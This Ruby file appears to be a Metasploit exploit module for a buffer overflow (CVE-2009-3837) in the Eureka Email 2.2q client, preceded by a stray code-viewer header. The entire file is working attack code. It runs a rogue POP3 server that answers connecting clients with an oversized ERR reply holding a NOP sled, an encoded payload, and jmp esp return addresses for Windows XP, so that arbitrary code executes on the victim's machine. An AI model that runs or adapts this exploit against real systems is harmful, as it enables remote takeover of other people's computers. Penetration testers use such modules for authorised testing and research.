93 lines
2.7 KiB
Ruby
93 lines
2.7 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::TcpServer
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Eureka Email 2.2q ERR Remote Buffer Overflow',
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# bof occurs due to wsprintfA @ 0x43bdf2 in "Eureka Mail.exe" v2.2.0.1
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# overflows a buffer of 512 bytes, smashes a buffer of 256 bytes, then the return address
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'Description' => %q{
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This module exploits a buffer overflow in the Eureka Email 2.2q
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client that is triggered through an excessively long ERR message.
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NOTE: this exploit isn't very reliable. Unfortunately reaching the
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vulnerable code can only be done when manually checking mail (Ctrl-M).
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Checking at startup will not reach the code targeted here.
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},
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'Author' =>
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[
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'Francis Provencher (Protek Research Labs)',
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'Dr_IDE',
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'dookie',
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'jduck'
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'CVE', '2009-3837' ],
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[ 'OSVDB', '59262' ],
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[ 'EDB', '10235' ],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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},
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'Payload' =>
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{
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'Space' => 700,
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'BadChars' => "\x00\x0a\x0d\x20",
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'StackAdjustment' => -3500,
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'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
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'DisableNops' => true,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Win XP SP3 English', { 'Ret' => 0x7E429353 } ], # jmp esp / user32.dll
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[ 'Win XP SP2 English', { 'Ret' => 0x77D8AF0A } ], # jmp esp / user32.dll
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],
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'Privileged' => false,
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Oct 22 2009'
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))
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register_options(
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[
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OptPort.new('SRVPORT', [ true, "The POP3 daemon port to listen on", 110 ]),
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], self.class)
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end
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def on_client_connect(client)
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return if ((p = regenerate_payload(client)) == nil)
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# the offset to eip depends on the local ip address string length...
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already = "Your POP3 server had a problem.\n"
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already << datastore['LHOST']
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already << " said:\n\n -ERR "
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space = (512+256+4) - already.length
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buffer = "-ERR "
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buffer << make_nops(space - payload.encoded.length)
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buffer << payload.encoded
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buffer << [target.ret].pack('V')
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buffer << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-0x2c0").encode_string
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buffer << "\r\n"
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print_status("Sending exploit to #{client.peerhost}:#{client.peerport}...")
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client.put(buffer)
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handler
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service.close_client(client)
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end
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end
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